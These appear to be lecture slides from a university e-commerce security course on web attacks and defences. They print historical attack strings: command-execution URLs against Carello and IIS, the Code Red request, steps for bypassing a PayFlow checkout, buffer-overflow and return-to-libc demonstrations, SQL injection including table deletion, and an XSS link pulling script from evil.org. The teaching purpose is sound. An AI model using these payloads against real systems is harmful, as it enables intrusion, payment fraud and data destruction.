COEN 351 E-Commerce Security

COEN 351 E-Commerce Security

Web Security

Table of Contents Web languages overview Example: Web shopping carts and payment

gateways HTTP

URL User input validation Standard Attacks

Buffer overflow String format bug Heap overflow attack

Database input attacks

Web Security Web Languages Overview

Hyper-Text Markup Language Derived from Standard Generalized

Markup Language. Absolutely fundamental. Security Implications:

Static web-pages do not pose a security risk. But hosting them might.

User input, active contents, integration of code into documents are issues.

Web Security

Web Languages Overview: Dynamic HTML

“Object-oriented extension of HTML” Similar security implications.

XML More flexible than HTML: XHTML Very new, little tried

Not enough experience with breaking XHTML


Perl Great server side scripting language Easy to make mistakes, that create security

holes. I will show some examples later.

(Hint: Learn a little bit of Perl.) PHP: Personal Home Page

Great server side scripting language Similar problems.


Cold-Fusion ASP: Active Server Pages

MS server side and client side scripting environment.

Easy to learn Active X

Internet portion of COM Active X controls are embedded in other objects. Can be very powerful program.

Allowing Active X to run gives control of the system away!

Active X has to give out the location of the .CAB file, in which the control resides.


Common Gateway Interface (CGI) Old, mature standard for server-side,

dynamic content: Passing data from Web server to program /

script (e.g. Perl) and back to the web browser. Numerous languages can be used to

create CGI programs. Uses environment variables that reflect

system. This can be a security risk.

Web Security

Web Languages Overview Java:

General purpose OO language. Ambitions to be secure:

Untrusted java code can run on a system securely.

Platform independent. Uses intermediate Java Byte Code.

Web Security

Web Languages Overview Java:

General purpose OO language. Ambitions to be secure:

Untrusted java code can run on a system securely.

Platform independent. Uses intermediate Java Byte Code.


Java: Client-based Java.

Java applet called from html document. Java applet runs in a “sandbox”.

Byte code is checked for safety. Cannot access system resources, e.g. no file

access. Server-side Java.

Java Server Pages History of exploits.

JHTML

Web Security

Web Languages Overview Javascript

Client-side scripting language embedded in html.

Web Security

Top Vulnerabilities: Server-side:

User input can be malicious. We learn how to do this. Gaining shell Gaining access to source code, arbitrary files, … Get arbitrary commands executed in a database.

Client-side: Malicious code breaks out of sandbox.

Example: Web shopping carts and payment gateways.

E-business model:


Shopping Carts: Buyer interacts with web-pages. Places items in shopping cart. Can modify shopping cart.

Delete items Update item number

Checks out. Purchase is processed.



Carello shopping cart (2001): Remote command executing through

crafty use of URL

Carello Shopping Cart Lets Remote Users Execute Arbitrary Commands on the Commerce Server Date: May 14 2001 13:48 (UTC/GMT) Impact: Denial of service via network, Execution of arbitrary code via networkFix Available: Yes Exploit Included: Yes Vendor Confirmed: Yes Advisory: Defcom LabsVersion(s): V1.2.1 for Windows NT Description: Defcom Labs issued a vulnerability advisory for the Carello shopping cart, warning that a remote user can execute arbitrary commands on the server with the privileges of the web server.

Defcom reports that the Carello.dll uses full physical path to execute Carello scripts instead of paths relative to the webroot directory. The program performs insufficient input validation in processing user-supplied paths.

A demonstration exploit URL (shown below) will cause INETINFO.EXE to spike at 100% CPU utilization and the web server will no longer respond to HTTP requests. The webservice cannot be stopped or restarted. The host must be rebooted to regain functionality.

(The following URL has been wrapped for readability)

http://foo.org/scripts/Carello/Carello.dll?CARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe%20/c%20echo%20test>c:\defcom.txt

The command will reportedly be executed with the privileges of the web server. For IIS, this is usually LocalSystem Access.

Defcom indicates that their vulnerability testing was performed on a Windows NT 4.0 Server with SP 6a. Impact: A remote user can execute arbitrary commands on the server with the privileges of the web server. The remote user can also cause the server to crash, requiring a reboot to continue functioning.Solution: The vendor has released version 1.3 to correct the problem.Vendor URL: www.carelloweb.com/ (Links to External Site) Cause: Input validation error Underlying OS: Windows (NT)Reported By: Peter Gr ndl <[email protected]>

Message History: None.


DCShop-Beta 2001 Web-based user can execute scripts

within cgi-bin directory Any script, if wrongly configured. Web-based user can obtain a text file

with recent orders. Can obtain administrator’s name and

password.


Hassan Consulting (2001) Arbitrary command execution on

server. Shopping cart runs on Unix and uses Perl. Script does not filter user input.


Cart32 … (2000) Hidden form fields within html source

code. Attacker can save webpage of

particular item, edit html source, change price etc.

Uses “referer” field.

Example: Web shopping carts and payment gateways. Payment Processing System

Vulnerable to stealing of credit card information

On server In transit.

Protective Measures SSL (against eavesdropping). Secure Electronic Transaction (SET)

(below) One-Time-Use Credit Cards (below)

SET No reusable credit card information changes

hands: Customer needs digital certificate. Transaction processing:

Customer (computer) sends transaction details and customer’s digital certificate.

Merchant sends request to her financial institution. Merchant’s institution requests authorization from

customer’s financial institution (based on certificate) After approval, payment takes place.

Relied on PKI, browser software, and did not catch on.

One-Time-Use Credit Card Customer accesses credit card

company’s website and authenticates. Customer enters transaction details. Credit card company generates virtual

credit card (number). Linked to actual credit card account.

Customer uses virtual credit card. Merchant’s side of processing same as

for real credit card.


Miva Merchant – VeriSign’s Payflow Link Integration Vulnerability 2002: Bug is in the integration of shopping

cart and payment center information. Result: Shopping cart accepts invalid

credit card transactions as valid.


Miva Merchant – VeriSign’s Payflow Link Integration Vulnerability 2002: Method 1

Save HTML contents of final checkout page.

Change page to not invoke PayFlow URL Instead, invoke final payment acceptance

URL.

Example: Web shopping carts and payment gateways. Miva Merchant – VeriSign’s Payflow Link

Integration Vulnerability 2002: Method 2

Sign up for a free demo PayFlow Link account at Verisign.

While in demo mode, this account will "validate" almost any credit card info submitted

Then perform HTML edit of the final checkout page

Change the hidden form tag to direct the payment to the demo PayFlow Link account.

Save the HTML, reload in your browser, and submit bogus credit card info.

Hyper Text Transfer Protocol

HTTP 1.1 released 2001 IETF RFC 2616

Client sends an HTTP request using TCP You could do this by telneting to a

website. telnet www.scu.edu 80. Type in http request. Finish with a blank line.


Or use netcat. Freeware. Powerful tool for good and bad.

Virus scanners don’t like it.


HTTP uses simple, formatted blocks of data. Client requests or server responses. Request message

<GET, HEAD, POST …> URL <version> <headers> <entity body>


Captured session with Ethereal.

Ethereal is a nifty, free package capturing tool.

Allows to follow a TCP stream.

Powerful diagnostic tool.


Response Message <version> <status> <reason phrase> <headers> <entity body>



Notice how much the response tell us. Includes the version of the web

server, …

Hyper Text Transfer Protocol HTTP 1.0 Methods

GET HEAD

Does not return the actual web-page, only the head of the response.

Includes server response code, date header, server header, …

POST Requests that server accepts the enclosed

information and acts on it. Used with CGI or server-side scripting.


Common Response Codes

2xx: Success 200 OK

3xx: Redirection 301 Moved permanently 302 Moved temporarily

4xx: Client Error 400 Bad request 401 Unauthorized 403 Forbidden 404 Requested resource

not found

Common Response Codes

5xx: Server Error 500 Internal server

error 501 Not implemented 502 Bad gateway 504 Service

unavailable.


HTTPS HTTP over SSL Entire message is encrypted.



HTTPS should be standard for any transmission of sensitive data. Passwords Credit cards …

URL Basics

URL consists of three main parts: Service Address of server Location of resource.

Followed by optional parameters

http://www.cse.scu.edu/~tschwarz/coen252_03/Lectures/URLObscuring.html

URL Basics Scheme, colon double forward slash. An optional user name and password. The internet domain name

RCF1037 format IP address as a set of four decimal digits.

Port number in decimal notation. (Optional) Path + communication data.

http://tschwarz:[email protected]/~tschwarz/coen252_03/Lectures/URLObscuring.html

http://www.google.com/search?hl=en&ie=UTF-8&q=phishing

URL Basics

Resource is named op.asp Active server page Usually runs on IIS

The parameters could contain additional data.

http://cart2.barnesandnoble.com/Shop/op.asp?path_state=1&step=itemAdded&UIAction=addToCart&opt=consumer&OpCode=Add&ProductCode=BK&ContShopPage=%2Fbooksearch%2FisbnInquiry.asp%3Fisbn%3D1593270070%26itm%3D10%26ATL_lid%3D3r0cWLIARU%26ATL_sid%3Dex1SDEqApk&Host=search&selection=9781593270070&userid=3r0cWLIARU&AddToCart.x=32&AddToCart.y=9

URL Basics

Search to a site using asp, too. Try to write the search string into

the URL.

http://search.msn.com/results.asp?FORM=sCPN&RS=CHECKED&un=doc&v=1&q=hacking%20exploit

URL Basics

Everything after the “?” is passed to the web server, e.g. to a script as a command line argument.

There is some translation. White spaces are encoded as +

URL Encoding URL string consists of

Alphanumeric characters a-z, A-Z, 0-9 Reserved symbols

; / : @ & = + $ , < > # % ? Query string separator & parameter delimiter = separates parameter name from value + translated to space : protocol separator # anchor point in webpage % escape character for hex characters @ used in mailto ~ used for home directory on a multiuser system

Other special characters.

URL Encoding

Why is this so important? 90% of all web-app vulnerabilities are

caused by lack of proper input validation.

Input URL needs to be verified. Input verification is much harder than

people think.

URL Encoding

Use the % escape character to place control characters into stream. %20 Space %0d Carriage return

Use %uXXYY to place unicode character XXYY into the stream.

URL Encoding

Attackers use a buffer overflow to place executable code in server internal memory and then get it executed.

Use unicode to place the code into the URL. Code Red worm uses an http request:

/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3 …

URL Encoding When passing a parameter such as a file

name, input validation checks for characters such as “../” Otherwise:

http://192.241.1.45/scripts/..%c0%af../winntsystem32/cmd.exe?/c+dir+d:\

Calls the command shell to display directory d:

Unicode exploit based on UTF-8 encoding: %c0%af is the UTF-8 double-byte

representation of “/”. IIS did not implement the translation rules

correctly.

URL Encoding

Double-Decode Exploit Represent bad character with hex

escape. Then represent the hex escape with

hex escapes. Input validator does not translate

twice. But the script does.

“/” %5c %25%35%63

User Input Validation URL based attacks are only one type of

attack based on user input. URL parameters User-names, passwords, form-fields

Principal countermeasure: Define a trust boundary. Create a chokepoint for any source of user

provided data. Check validity of any input passing through

a choke-point.

User Input Validation Trust

relationship within the boundary.

This might violate the principle of defense in depth.

User Input Validation Security Principles (Howard, Leblanc)

Secure by Design Build in security concerns in the design process,

develop threat model, … Secure by Default

Features and capabilities should not be installed by default.

Allow least privilege Protect resources.

Secure in Deployment Security administration should be easy. Fast patching Good documentation

User Input Validation Checking validity

Deny access until you have ascertained that the request is valid.

Instead of filtering out invalid data. This is difficult because

There might be more than one valid way to represent data

Escaping Double Escapes Translation (cyrillic ‘o’ becomes latin ‘o’)

You might miss an invalid data pattern.

User Input Validation

Canonicalization A validation technique that

Takes valid user input and put it in a standard form.

And thus will filter out evil input.

User Input Validation

(Lack of) Canonicalization Incidences

1. Napster Name Filtering Napster was ordered in 2001 to block

address to certain songs. Blocking was based on the name of the

song. Did not filter intentionally misnamed songs.

Pig-latin (a service provided by Aimster Pig Encoder)

User Input Validation Canonicalization Incidences

2. Apache web server and MacOS HFS+ is case-insensitive. Apache’s directory protection is case sensitive.

Administrator protects directory scripts:

Still allows access to: www.calprov.org/SCRIPTS/index.html because “SCRIPTS” does not match “scripts”.

<Location /scripts> order deny, allow deny from all</Location>

Buffer Overflow Attacks

Still a widespread attack Possible because C, C++, and similar

languages do not use bound checking.

Java, C#, etc. do not have this vulnerability.

However, the JVM is written in C and potentially vulnerable.

Used on the stack or on the heap

Buffer Overflow Attacks Stack: Last in, first out Push: places element on top of

stack Pop: removes element from top

of stack.

Buffer Overflow Attacks Programming languages use three type

of memories: Statically allocated. (But this is too

restrictive) Dynamically allocated:

Stack Heap

Stack is area of program memory that contains static allocated variables, return addresses, etc.

Buffer Overflow Attack

When the assembly call is executed to call test Place variables on stack

(lifo)

a

b

c

d

void test( int a, int b, int c, int d){ char flag; char buffer[10];}

Stack:



(lifo) Place return address on

stack This is the address of the

next instruction to be executed after the return.

ret

a

b

c

d



When the assembly call is executed to call test Place variables on stack (lifo) Place return address on

stack Place SFP (EBP) on stack

Saved frame pointer Used to address local variables


sfp

ret

a

b

c

d



(lifo) Place return address on

stack Place SFP (EBP) on stack Allocate local variables

flag, buffer


buffer[0]

buffer[1]

.

.

buffer[9]

flag

sfp

ret

a

b

c

d


When function returns Pop the local variables

By resetting the stackpointer.

Restore the frame pointer. Load the value in ret into

the program counter. This is the next instruction

to be executed. Pop arguments.


buffer[0]

buffer[1]

.

.

buffer[9]

flag

sfp

ret

a

b

c

d


Buffer overflow: If a user can cause data to be placed

on the stack without checking for the size of data, then we can overwrite important parts of the stack.


User can place any string into the buffer.

User inputs 16 “AA” bytes At exit from the

subroutine, we place this value into the PC.

User can control program flow.

void test( int a, int b, int c, int d){ char flag; char buffer[10]; scanf(“%s\n”, buffer)}

“AA”

“AA”

.

.

“AA”

“AA”

“AAAA”

“AAAA”

a

b

c

d

buffer[0]

buffer[1]

.

.

buffer[9]

flag

sfp

ret

a

b

c

d


If you try it out, the program will try to execute the instruction at location “AAAA”. Most likely, that memory location is

not “owned” by the program. Therefore: Memory segmentation

violation, core dump.


void foo(const char* input) {

char buf[10]; printf("Hello World\n");

}

int main(int argc, char* argv[]) {

foo(argv[1]); return 0;

}


Windows example:

Compilers vary


Example that shows how the stack is changed.

Buffer Overflow Attack#pragma check_stack(off) #include <string.h> #include <stdio.h>

void foo(const char* input) { char buf[10]; printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); strcpy(buf, input); printf("%s\n", buf); printf("Now the stack looks like: \n%p\n%p\n%p\n%p\n%p\n%p\n\n"); }

void bar(void) {

printf("Augh! I've been hacked!\n"); }

Our goal is to get to execute bar by overflowing buf from input.

foo prints out the stack.

Then it copies input into buf without checking.

Then it prints out the stack again.


int main(int argc, char* argv[]) {

printf("Address of foo = %p\n", foo); printf("Address of bar = %p\n", bar); if (argc != 2) {

printf("Please supply a string as an argument!\n");

return -1; } foo(argv[1]);

return 0; }

main merely calls foo after telling us where the code for foo and bar is located.

The instruction executed after the return from foo should be the beginning of the “return 0” block.

By overwriting the ret value on the stack, we try to set the PC to point to the beginning of function bar instead.

Buffer Overflow AttackChapter05>stackoverrun.exe Hello Address of foo = 00401000 Address of bar = 00401050 My stack looks like: 00000000 00000A28 7FFDF000 0012FEE4 004010BB 0032154D

Hello Now the stack looks like: 6C6C6548 0000006F 7FFDF000 0012FEE4 004010BB 0032154D

See how hello is being placed in the buffer.

The highlighted value is the return address.


We first try arbitrary long input.

This gives us an exception and the program is terminated.



Perl Scripts are handy to run carefully crafted input.


We crafted input that overwrote the value of ret with the address of function bar.

Buffer Overflow Attack Fun, but useless. Real attack:

overwrite return address so that code execution jumps into the input given by attacker.

Buffer Overflow Attack If input is sent over the net, then an IDS

can find a match against an attack signature.

To protect against signatures, structure input Varying stuff execve(/bin/sh) (gives new shell with

program privileges in UNIX) Pointer to execve statement.

Buffer Overflow Attack Finding vulnerabilities

Script-kiddies scan target with automated tools.

Source code evaluation. Look for strcpy, gets, getws, memcpy

memmove, scanf, … Alternatively, just cram the application

until it crashes. There are tools for that. Crash used to give you locations of

registers.


Finding vulnerabilities Disassembly code for which a source

is not available.


Example: Cram in lots of input of As.

Program crashes, EIP has value 41414141.

Sign of buffer overflow. Now try to feed more specific

input.


Use a NOP sled before the actual shell code.

This way, attacker does not have to guess the exact location of things in buffer.


A.K.A. shell code


Attack signature can be used by IDS.

Vary the NOP commands. Many alternative in assembly.

Overflow Attacks

When the vulnerable program runs at administrator level, overflow attacks give escalation of privileges.


Protection Make stack non-executable. Use canary birds.


Stack Guard MS Visual Studio

use canaries.

Buffer Overflow Attacks But the first MS implementation made it worse. When Canary was overwritten, program

executed user written handler. Attacker could use buffer overflow to overwrite

the address of the handler function. The overwriting value would point to the stack. The very same mechanism intended to prevent

some buffer overflow attacks can be used to start others.

Buffer Overflow Attacks Exploiting a non-executable stack

(UNIX): In the previous example, we placed the

code on the stack. We can protect against simple stack

smashing by making sure that the machine never executes any code on the stack.

Solaris OpenBSD Windows (in the future?)

Buffer Overflow Attacks Exploiting a non-executable stack

(Unix): Overwrite the return value with the

address of a library function. Common dynamic library function,

present in most programs Function should allow to span a shell.

Known as “return to libc” since introduction in 1997 by Solar Designer


Primary target is libc, a library of c-functions In particular system()

Call system with “/bin/sh” as an argument and you have spawned a shell.

To pass “/bin/sh” to system, we pass a pointer to the string “/bin/sh”.


Return to libc (Unix): Attacker needs to:

Determine address of “system” Determine address of /bin/sh Determine the address of exit()

So we can close the exploited program cleanly.


Determining the address of system() gcc includes libc by default when

compiling. Use gdb debugger (or something

more sophisticated) to find the address of system.

# gdb file(gdb) break mainBreakpoint 1 at 0x804832e(gdb) runStarting program: /usr/local/programs/file

Breakpoint 1, 0x804832e in main ()(gdb) p system$1 = {<text variable, no debug info>} 0x4203f2c0 system(gdb) p exit$1 = {<text variable, no debug info>} 0x42029bb0 exit

Buffer Overflow Attacks To find address of /bin/sh, use the

memfetch tool. memfetch dumps everything in the process’

space Simply look through the binary file to find

/bin/sh Alternatively:

Store /bin/sh in an environmental variable Get address of the environmental variable


Ret to libc Fill vulnerable buffer up to the return

address with garbage. Overwrite the return address with the

address of system() Then place the address of exit Append the address of /bin/sh

Windows Buffer Overflow Attacks

Frame-based exception handlers Each windows thread has at

least one Exception handler. Metadata maintained in

EXCEPTION_REGISTRATION data structure.

If an exception is thrown, then Windows walks through the exception handlers to find an appropriate one.

First exception registration structure is part of thread’s environment block.

Windows Buffer Overflow Attacks

#include <stdio.h>#include <windows.h>

dword MyExceptionHandler(void){ printf("In exception handler...."); ExitProcess(1); return 0;}

int main(){ __try { __asm{ // Cause an exception xor eax,eax call eax}

} __except(MyExceptionHandler()) { printf("oops..."); } return 0;}

Windows Buffer Overflow Attacks Frame-based exception handlers

Idea: Overflow the buffer so that a pointer to an exception handler is overwritten.

Then cause an exception. Windows up to Windows 2003 server and XP service

pack 1: EBX points to EXCEPTION_REGISTRATION structure

Last Windows systems: EBX and all other registers is set to zero before calling the handler.

Overwrite real handler with jmp EBX or call EBX Exception occurs Control passes to (overwritten) exception handler Exception handler executes jmp EBX Control ends up in statements placed by the attacker.

Windows Buffer Overflow Attacks Windows Server 2003

Does sanity check on exception handler. Still vulnerable to attacks

Change an existing handler that transfers control back into the code supplied by the attacker.

Find a snippet of code that will pass control back to the over- flown buffer.

“pop reg, pop reg, ret” will do Find a block of code in the address psace of a module

that does not have a Load Configuration Directory. Future Windows releases will tighten the

protection against this particular attack type.

Format String Bugs

C- vulnerability Caused by “lazy” programmers that

use printf and companions incorrectly.

Use printf without format string.

Format String Bugs

// formatstringbug.cpp : Defines the entry point for the console application.//

#include "stdafx.h"

int _tmain(int argc, _TCHAR* argv[]){

if(argc != 2) {\printf("Error, please supply a format string.\n");return 1;

}printf( argv[1] );printf("\n");

return 0;}

Format String Bugs

User provides the format string. printf takes arguments from the

stack. This means that an attacker can

see the contents of the stack. In itself bad, since the stack might

contains passwords, etc.

Format String Bugs

// formatstringbug.cpp : Defines the entry point for the console application.//

#include "stdafx.h"

int _tmain(int argc, _TCHAR* argv[]){

if(argc != 2) {\printf("Error, please supply a format string.\n");return 1;

}printf( argv[1] );printf("\n");

return 0;}

Format String Bugs Some of the format parameters of printf

are very interesting: %x hex output for integers %s argument is treated as a pointer to a

string. %n argument is treated as a pointer to an

integer. Number of bytes printed so far is put in that location.

This allows us to write arbitrary values in certain locations.

Format String Bugs

Affect all OS, even though they are better known of *nix.

Stack protection mechanisms don’t apply to them

Can be easily detected with static code analysis tools.

Format String Bugs

Exploits Information Leakage Controlling Execution for Exploitation

Case Example wu-ftp 2.6.0

Heap Overflow Attack

Each thread has a stack for local variables, return addresses, etc.

Each thread also has a heap for dynamically allocated variables. Most of them allocated

programmatically through a routine like malloc in C

Heap Overflow Attack

A buffer overflow on a heap can Overflow into another buffer Overwrite metadata

malloc implementations use the heap to store data on allocated memory chunks

Windows Heap Overflow Attack

Every heap starts with a list of 128 LIST_ENTRY structures that keep track of free blocks.

By overwriting these structures, an attacker can increase the memory space of the program.

Thus, overwriting a function pointer with another value does no longer lead to segmentation violation.

Windows Heap Overflow Attack

Various Methods Overwrite ptr to RtlEnterCriticalSection

in Process Environment Block Overwrite pointer to unhandled

exception filter. Overwrite pointer to Exception Handler

in Thread Environment Block …


Common Vector Input to a program contains program

code. Allows for signature based detection

A signature essentially recognizes snippets of attack code.

Counter-measure: Polymorphic code. Code with the same effects but that looks

different.

Buffer Overflow Attacks Common Vector

Attack codes contains assembly language code (shell code)

Normally not alpha-numeric Protection mechanism:

Filter out all unprintable characters Attacker counter-measure:

Use assembly language statements that are printable. Translation tools exist to change arbitrary assembly

code to assembly code that goes through filters. Use this to hide a “decoder”.

Decoder decodes the rest of the attack package.


Vulnerability detection: Source code / executable auditing Fault injection

Fuzzer like sharefuzz test for common overflow attacks in setuid programs.


Attack caused again by a fault in input validation.

Simple SQL injection attack example:string sql = “select * from client where name = ‘ “ + uname + “ ’ ”

User enters uname: “Schwarz”. SQL command executed isstring sql = “select * from client where name = ‘ Schwarz’ ”

This command reads every row in the table “client”.

string sql = “select * from client where name = ‘Schwarz’ or 1=1”

User enters uname: “ ‘Schwarz’ or 1 = 1”. SQL command executed is

Database input attacks SQL injection attacks are common.

Some database servers allow a client application to perform more than one SQL statement.

Suppose that user enters: “Schwarz’ drop table client”

This builds an SQL query that queries table client and then deletes the table.

Effects are greatly enhanced if the database runs at system administrator privileges.


Countermeasures: Run queries below the administrator

level. Build sql statements securely,

checking each component carefully.

Web Application Components


Web Application System Front-end Webserver Web application execution

environment Database server

Web Application Components Front-end web server

Needs to be scalable Needs to be robust Needs to resist known attacks Needs to be able to handle a large load Should have an API interface or plug-in

framework Market leaders:

Apache Microsoft IIS Netscape/iPlanet Zeus

Web Application Components Connecting Components

Native application environment IIS has a built–in application processing

environment: Active server pages. Web Server APIs

Application built on API libraries provided by the web-server

URL mapped to application Application server runs on the same

system hosting the web server

Web Application Components Connecting Components

URL Mapping and Internal Proxying Web application is an independent HTTP server

listening on a TCP port Front-end web server maps specific URLs onto the

web application server Web application server hosted on same system

Proxying with Back-end Application Server Web application server runs on a separate system Front-end server acts as a proxy. Web application server can only receive requests

from the front-end


Connecting with Database server Native Database API

E.g. call SQL server from ASP code Open DataBase Connectivity Java DataBase Connectivity

Information Leakage Reconnaissance precedes attack.

Worms scan random IP addresses for vulnerability.

Flash worms will prescan before the outbreak starts.

Targeted attacks will find out all available information on the target first.

Random scanning identifies victims for future use.

Information Leakage

Overview of generic methods Open Source Search for

Locations Related companies or entities Merger or acquisition news Phone numbers Contact numbers Privacy or security policies that could shed

line on measures Links to other websites.

Information Leakage Overview of generic methods

Open Source Search for Network information

whois query (www.arin.net) Sam Spade (www.samspade.org)

Some of this information is vital for security, such as contact info on network administrator.

Overall security is increased if a majority of sites can be reached to stop / investigate an attack from that site.

Limit information to what is reasonable.

Information Leakage Overview of generic methods

Open Source Search DNS query

Network Reconnaissance traceroute Pinging and other ICMP queries Port scanning OS detection Service Scanning

Network Reconnaissance Counter-measures Almost all packets used in reconnaissance can be

stopped at a firewall without or with little loss of service.

Patched OS no longer exhibit characteristic behavior Stop any unused services on exposed computers.

Good Security Practice, because non-existent services do not have an attack surface.

Information Leakage Web-specific information leakage

URLs URL parameters give hints on application

processing them. Resource names in URL give hints.

htm vs. html HTTP headers

Usually identify web server File extensions HTML comments Cookie format

Information Leakage

Information Leakage

Information Leakage URL and HTTP header examples

http://www1.ex.com/homepage.nfs?Open Lotus Domino server (HTTP header or .nfs extension)

http://www2.ex.com/software/buy.jhtml;jsessionid=ZYQFD45D34WTER#2BW8P

HTTP header identifies MS-IIS/4.0 Does not support .jhtml pages natively Hence, there is an application server “;jsessionid=…” identifies an ATG Dynamo

Application Server that serves Java HTML files and executes Java servlets.

Information Leakage URL and HTTP header examples

http://www3.ex.com/cgi-bin/ncommerce3/ExecMacro/webstore/home.d2w/report

ncommerce3 and ExecMacro indicate IBM Net.Data e-commerce platform

http://www4.ex.com/category.jsp?id=21&StoreSession=PC1qNwresa89H4L9aseqRT/Q43HF4BFsd9lp/154738927/12659/7/7001/7002/7001/7003/-1

File requested is a Java Server Pages file. HTTP header identifies Netscape Enterprise 4.1.

server URL however identifies a BEA WebLogic server

Information Leakage

Cookies Stored at the client Used to maintain session state Typical of webserver

Information Leakage

ApacheApache=206.86.136.115.308631012385239875

IIS ASPSESSIONIDGQGGCVC=KELHFOFDIHOIPLHJEBECNDME

ATG Dynamo JSESSIONID=H4TQ0BVCTYCDNZQFIALE0SFFOAVAAUIIVO

IBMNet.Data SESSION_ID=307823,wFXBDMkigAnrYuj+iK1gf87gsw8e

ColdFusion CFID=573208, CFTOKEN=862409812

Information Leakage

Information Leakage

Information Leakage

Information Leakage

Information Leakage

Information Leakage

Active Technology Identification Force server to return an error

Truncated URLs Requests for non-existent files Parameter tampering

Information Leakage

Identifying database servers Generate URL parameter errors.

Changed parameter.

Information LeakageChanged value of id

Information Leakage

Counter-measures Minimize information leaked from

HTTP header. Changing server identification string in

HTTP header and changing file extensions only stops script kiddies and automated vulnerability scanners like Whisker.

Prevent error information from being sent to the browser.

Information Leakage HTML leakage

Comments Including those generated by web application

servers. Internal and external hyperlinks E-mail addresses and usernames Keywords and meta tags Hidden fields

Used to pass information back and forth between server and browser.

Never relay on the accuracy of these data. Client-side scripts

Information Leakage

HTML source code analysis can be automatized Store pages from a website (e.g. with

wget) Use string search tools Sam Spade, Black Widow, Teleport

Pro, etc. automate the search

Information Leakage Site linkage analysis

Crawl site Manually or by bot. Web crawlers need to interpret scripts

that load other pages Create logical structure of site

By URL paths Analyze each web resource Inventorize web resources

Attack Examples: Hidden HTML Forms Hidden HTML Forms

Form allows user input to be sent to the server.

Get-method: Append input to URL

Post-method: Browser sends data in different transaction. Server retrieves data from standard location.

<form method=post

action=“http://cse.scu.edu/cgi-bin/update”

input type=hidden name = “price” value=“89.99”

>


Hidden input type screen input from browser.

However, HTML code remains clearly visible. HTML page can easily be altered. And they can be altavista-ed.


Attack would save the page locally. Change the price. Change the action item to go to the shopping cart.

This is very, very illegal and

constitutes FRAUD. However, this page is secure, since they let you pay first

with pay-pal and then ship. So much for my criminal career.

Cross-Scripting Attacks Cross Site Scripting

Partial to dynamic websites Website gathers malicious data from the

user. Typically in the form of a hyperlink with malicious

content in it. Example Messages to a bulletin board / guest

book: Hello World! <SCRIPT>malicious code</SCRIPT> Hello World! <EMBED SRC="http://www.paedophile.com/movies/rape.mov">

Abbreviated as CSS or XSS

Cross-Scripting Attacks

Example: A guestbook allows me to submit

posts containing HTML and Javascript. I craft a malicious post. Joe reads my post. The code

executes. Now I “own” Joe’s session, because I got his cookies.

Cross-Scripting Attacks XSS abuse of trust

Trusted site with a poorly coded search engine Attacker embeds malicious code within a hyperlink to

that site. Client web browser follows link.

URL sent to trusted site now contains malicious code. Site sends a page back to the browser: <A HREF="http://trusted.org/search.cgi?criteria=<SCRIPT

SRC='http://evil.org/badkarma.js'></SCRIPT>"> Go to trusted.org</A> Link is seen as link to http://trusted.org Can be included in an email message Malicious code is downloaded from evil.org

Cross Scripting Attack

Custom made .ida overflow code <iframe src=http://vuln.iis.server/a.ida?XXX....XXX{CUSTOM IDA OVERFLOW CODE}></iframe>

hello.asp takes 1 paramater (name) that is displayed to the screen with no cleansing.

/hello.asp?name = <iframe src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>

Cross Scripting AttackFrom: frog frog <[email protected]>To: [email protected]: PHPNuke holes

Here a few holes that i've found in PHPNuke.5 Cross Site Scripting.

http://phpnuke.org/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=02&ttitle=[JAVASCRIPT]

http://phpnuke.org/modules.php?name=Downloads&d_op=ratedownload&lid=118&ttitle=[JAVASCRIPT]

http://phpnuke.org/modules.php?op=modload&name=Members_List&file=index&letter=[JAVASCRIPT]

http://phpnuke.org/submit.php?subject=[JAVASCRIPT]&story=[JAVASCRIPT]&storyext=[JAVASCRIPT]&op=Preview

http://phpnuke.org/user.php?op=userinfo&uname=[JAVASCRIPT] ==> This hole was not found by Aurelien Cabezon.

and /admin.php?upload=Go! who's the same thatupload=1 .

frog-man

Cross Scripting Attack

Protection Never trust any user input.

http://www.cert.org/advisories/CA-2000-02.html

COEN 351 E-Commerce Security

Documents

web server

web shopping carts

web browser

static webpages

untrusted java code

numerous languages

active server pagesms

java applet